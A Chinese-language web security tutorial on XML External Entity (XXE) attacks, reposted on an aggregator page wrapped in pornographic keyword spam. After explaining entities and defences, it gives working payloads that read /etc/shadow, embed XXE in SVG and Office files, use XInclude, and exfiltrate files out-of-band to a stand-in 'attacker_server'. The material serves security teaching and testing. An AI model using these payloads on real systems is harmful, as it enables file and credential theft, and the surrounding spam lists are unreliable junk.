日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

web安全101之如何理解XXE?

發布時間:2025/3/21 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web安全101之如何理解XXE? 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前置知識

XXE如何理解?

它是可擴展標記語言 ( XML) 用于存儲和傳輸數據。

通常始于異步JavaScript和XML技術(ajax技術):網頁應用能夠快速地將增量更新呈現在用戶界面上,而不需要重載(刷新)整個頁面。

目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中的XML技術。

這種標記語言允許開發人員定義和表示任意數據結構的HTML。

以下為定義屬性和值的Security Assertion Markup Language(SAML)語言

<saml:AttributeStatement><saml:Attribute Name="username"> # 定義屬性<saml:AttributeValue> # 定義值vickieli</saml:AttributeValue></saml:Attribute> </saml:AttributeStatement>

XML 格式廣泛用于 Web 應用程序的各種功能,包括身份驗證、文件傳輸和圖像上傳,或者只是將 HTTP 數據從客戶端傳輸到服務器并返回。

XML 文檔可以包含 文檔類型定義 ( DTD) ,它定義了 XML 文檔的結構及其包含的數據。

注意:&file; 是實體,而不是外部實體。

這些DTD可以從外部加載或在文件本身的DOCTYPE標簽中聲明

以下是一個DTD,它定義了一個名為file的XML實體

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file "Hello!"> ]> <example>&file;</example> # &file; = Hello!

我們可以將XML的實體,理解于類似編程語言中的變量:即,&file; = Hello!

XML 文檔還可以使用外部實體通過 URL 訪問本地或遠程內容。

當語法中使用SYSTEM 關鍵字時,則該實體是外部實體,其值將從URL加載

URL可以從本地文件系統中加載,也可以從互聯網中加載

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///example.txt"> ]> <example>&file;</example> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "http://example.com/index.html"> ]> <example>&file;</example>

【查看資料】

實體與外部實體

我們知道了,XML外部實體的由來,也能夠區分它們的一紙之隔(有沒有語法SYSTEM 關鍵字的定義)

不管是什么實體(如果用戶可以控制 XML 實體或外部實體的值),則可以基于xml技術后的各種網站業務功能點(比如,實際網站在使用此技術上傳文件)或者此技術的解析引擎來產生各種漏洞。

已知的威脅來自于兩點

1.攻擊者可以控制實體的值。

2.xml解析器錯誤的配置為從輸入的地方讀取xml文檔時解析和評估 DTD,攻擊者可以聲明自己的外部實體以實現惡意結果。

此類攻擊稱為 XML 外部實體攻擊,或 XXEs。

防御

防止 XXE 就是限制 XML 解析器的功能。因為 XXE 攻擊需要 DTD 處理,應該盡可能禁用 XML 解析器上的 DTD 處理。

如果無法完全禁用 DTD,您可以禁用外部實體、參數實體。

為了防止基于 XXE 的 DoS,您可以限制 XML 解析器的解析時間和解析深度。 您還可以完全禁用實體的擴展。

禁用 DTD 處理和配置解析器行為的機制因使用的 XML 解析器而異。

比如:PHP XML 解析器,需要設置 libxml_disable_entity_loader 為 TRUE來禁用外部實體。

其他語言的最佳配置與實踐請參考owasp備忘單,以及各種官方文檔與靜態分析軟件的官網文檔

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md

甲骨文的最佳實踐建議【網絡安全學習資料·攻略】

靜態代碼分析sonarsource的最佳實踐建議

https://rules.sonarsource.com/java?search=XXE

另一條防御角度是輸入驗證,黑白名單等

為了防止盲XXE,可以禁止出站的網絡流量。

XXE的特征值

在使用bp基于功能點的觀察與抓包時,<?xml是最明顯的一個提示,告訴您該站點在使用XML技術

還要注意base64編碼,LD94bWw,表示<?xml

還可以強制應用程序解析 XML 數據。即,網站明確的表現為在收發json數據,那能不能將此數據交換強制置為xml技術?配置上的失誤與一些不安全的默認項,使其變為現實。

修改content-type頭,強制輸入xml格式的數據【網絡安全學習資料·攻略】

Content-Type: text/xml Content-Type: application/xml

意識中,遇到的每一個功能點都假設,思維中思考此處的數據,后臺可能會接收與處理xml格式的數據。

經典的XXE測試手法

顯注解析與其他注入類漏洞沒有什么本質上的區別,就是放置payload,響應包觀察;盲注與其他類型的漏洞也沒什么本質上的區別,使用第三方可控的服務器輔助觀察,比如dnslog,內網搭建測試服務器等,觀察訪問日志。

測試SYSTEM的外部實體,是否能被解析;是否能從本地加載;是否能從外部URL加載。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "Hello!"> ]> <example>&test;</example>

如果SYSTEM定義的外部實體都無法解析,那還是別亂懟了。人家在一開始就已經將DTD配置為最佳防御策略了。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/hostname"> ]> <example>&test;</example>

SYSTEM語法上的其他語法可選項,比如PUBLIC語法, "abc"是給解析器看的,與&test;關聯起來,將后面的值給它。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test PUBLIC "abc" "file:///etc/hostname"> # "abc" 為標識ID,給解析器看的。它將abc與&test;關聯起來,并將payload替換給&test; ]> <example>&test;</example>

測試盲XXE

通過讓目標服務器向攻擊者的服務器發出請求并使用泄露的信息來竊取數據。

確認服務器是否可以出站,訪問到攻擊者的服務器

關于dmz區域的防火墻流量的限制:80,443,53等基礎依賴端口先行測試。因為網站業務需求,它自己就很可能需要從其他地方讀取其他圖片,js,css等資源。防火墻把所有的都禁止了,資源還如何加載進來。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt"> ]> <example>&test;</example>

在不同的文件類型中插入 XXE payload

除了在 HTTP 請求正文上測試 XXE 之外,您還可以嘗試將包含 XXE payload的文件上傳到服務器。

網站可能限制了可以上傳的文件類型,此時可以在不同的文件類型中插入 XXE payload

這里僅示例幾個,其他文件類型可以自行搜一搜

svg文件,記事本打開編輯

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/shadow"> ]> <svg width="500" height="500"><circle cx="50" cy="50" r="40" fill="blue" /><text font-size="16" x="0" y="16">&test;</text> </svg>

辦公文件都是壓縮文件

Microsoft Word 文檔( .docx 文件)、PowerPoint 演示文稿 ( .pptx ) 和 Excel 工作表 ( .xlxs )

修改后綴名為zip,插入payload,打包還原【網絡安全學習資料·攻略】

可以簡單地將payload插入 /word/document.xml 、 /ppt/presentation.xml 或 /xl/workbook.xml 。 最后,將檔案重新打包為 .docx 、 .pptx 或 .xlxs 格式。

linux中的zip還原辦公文檔

cd example zip -r new_example.docx *

XInclude攻擊

有時無法控制整個 XML 文檔或編輯 XML 文檔的 DTD。 但是,如果目標應用程序接受用戶輸入并將其插入到后端的 XML 文檔中,仍然可以利用 XXE 漏洞。

XInclude 是一個特殊的 XML 特性,它從名為 xi:include 的單個 XML 標記構建一個單獨的 XML 文檔。如果可以控制傳遞到 XML 文檔中的單個未經處理的數據,就可以在該值中放置 XInclude 攻擊。

輸入點payload如下,響應包觀察特征值

引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性特殊含義

<example xmlns:xi="http://www.w3.org/2001/XInclude"> # 引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標簽的功能性<xi:include parse="text" href="file:///etc/hostname"/> </example>

使用參數實體拼湊多態性payload

這種攻擊可能不起作用,因為大多數解析器不允許外部實體包含在其他外部實體中。

file包含在exfiltrate中,這種攻擊可能不起作用。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///etc/shadow"><!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file;"> ]> <example>&exfiltrate;</example>

XML DTD 有一個稱為參數實體的特性。參數實體是只能在 DTD 內的其他地方引用的 XML 實體,它從外部加載DTD。用百分號 (%) 字符聲明和引用的。

解析器遇到符號 %,才將解析方式理解為外部DTD的模式。內部還是外部的DTD,由%于解析器中觸發。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # &#x25;百分號的十六進制%ent;%exfiltrate; ]>

根據 XML 規范,在內聯 DTD(在 DOCTYPE 標記內指定的 XML 文檔中的 DTD)和外部 DTD(在別處托管的單獨 DTD)中,參數實體的處理方式不同。在內聯 DTD 中,不能在標記中引用參數實體,因此該行不起作用:<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>,而在外部 DTD 中,不存在這樣的限制。

要通過盲XXE測試的話,需要在攻擊者服務器上準備好xxe.dtd文件。注意:這是直接盲測發給服務器的請求,引誘服務器加載http://attacker_server/xxe.dtd

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">%xxe; ]>

然后將payload編寫于xxe.dtd文件中,使用%或者不帶%等一切可行的payload來進行測試。注意:以下才是攻擊者服務器上面準備好的payload,具體危害是讀取

file:///etc/shadow文件。

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # &#x25;百分號的十六進制%ent;%exfiltrate; ]>

將dtd文件payload部署于攻擊者服務器的示例

關于返回數據的格式化問題

如果您嘗試讀取特定格式的文件,則 XXE 數據泄露會變得更加復雜。

例如尖括號 (<>)、引號 (" 或 ') 和與號 (&)等各種特殊符號,它們在返回數據的時候可能會被其他東西特殊對待與處理掉。

在 XML 文件中,包裹在 CDATA(字符數據)標簽中的字符(<![CDATA[" "]]>)不會被視為特殊字符。

<!ENTITY % file SYSTEM "file:///passwords.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % ent "<!ENTITY &#x25; exfiltrate'http://attacker_server/?%start;%file;%end;'>"> %ent; %exfiltrate;

感謝耐心的閱讀到了這里。關注我,持續更新。共勉。
私我獲取【網絡安全學習資料·攻略】

總結

以上是生活随笔為你收集整理的web安全101之如何理解XXE?的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美男人天堂网 | 欧美日韩综合在线 | 久久久久xxxx | 亚洲精品国产suv | 国产特级淫片免费看 | 国产在线免费观看 | 噼里啪啦高清 | 日韩精品久久久久久久酒店 | 黄色不卡视频 | 国内自拍一区 | 99久久99久久精品国产片果冻 | 五月婷婷激情综合 | 四虎国产成人永久精品免费 | 国产xx在线观看 | 岛国av噜噜噜久久久狠狠av | 综合久久亚洲 | 国产精品视频导航 | 一二三区免费视频 | 日韩欧美精品在线观看 | 日屁网站 | 亚洲淫 | 欧美日韩在线视频一区二区 | 精品国产综合 | 佐山爱av在线 | 色一情一交一乱一区二区三区 | 日本高清久久 | 麻豆社| 成人黄色在线视频 | 两性午夜视频 | 国产欧美日韩视频在线观看 | 高清一区二区三区四区 | 久久亚洲精品国产 | 国产精品一区二区三区在线播放 | 日韩成人av网 | 奇米影视奇米色 | 色婷婷av一区二区三区在线观看 | 亚洲午夜精品久久 | 国产精品亚洲专区无码牛牛 | 综合一区二区三区 | 午夜剧场黄色 | 免费午夜视频 | 午夜天堂精品久久久久 | 亚洲资源网站 | 伊人日韩 | 网站免费黄色 | 又大又粗又爽18禁免费看 | 精品国产三级片在线观看 | 四虎国产 | 国产精品二三区 | 国产午夜福利精品 | 重囗味sm一区二区三区 | 九九热视频精品 | 欧美久久久久 | 色亭亭 | 精品亚洲天堂 | 国产91久 | 久热免费在线视频 | 91中文字幕在线观看 | 免费看黄色的视频 | 中文有码av | 久久久久成人精品无码 | 成年人免费网站视频 | 欧美亚洲综合另类 | 五月婷婷综合在线 | 亚洲看片 | 中文字幕人妻一区二区三区在线视频 | 中文字幕女同女同女同 | 少妇精品无码一区二区免费视频 | 国产综合精品一区二区三区 | www久久com| 久久艹这里只有精品 | 亚洲大尺度在线观看 | 日本理论片在线 | 天堂网www.| 蜜桃精品成人影片 | 99久久这里只有精品 | 日韩色图视频 | 欧美又粗又长又爽做受 | 国产视频二区三区 | 韩日少妇 | 午夜影院一区二区三区 | 国产精品久久久久久久免费观看 | 中文字幕欧美在线观看 | 日韩激情毛片 | 国产区二区 | 一区二区三区视频网 | 亚洲第四页 | 99久久精品国产成人一区二区 | 国产av成人一区二区三区 | 欧美亚洲日本一区 | 欧美寡妇性猛交 | 午夜伦伦电影理论片费看 | 少妇精品一区二区 | 精品久久久久久久免费人妻 | 在线天堂在线 | 香蕉视频一区二区 | www.日韩欧美| 亚洲精品社区 | 欧美成人aaa片一区国产精品 |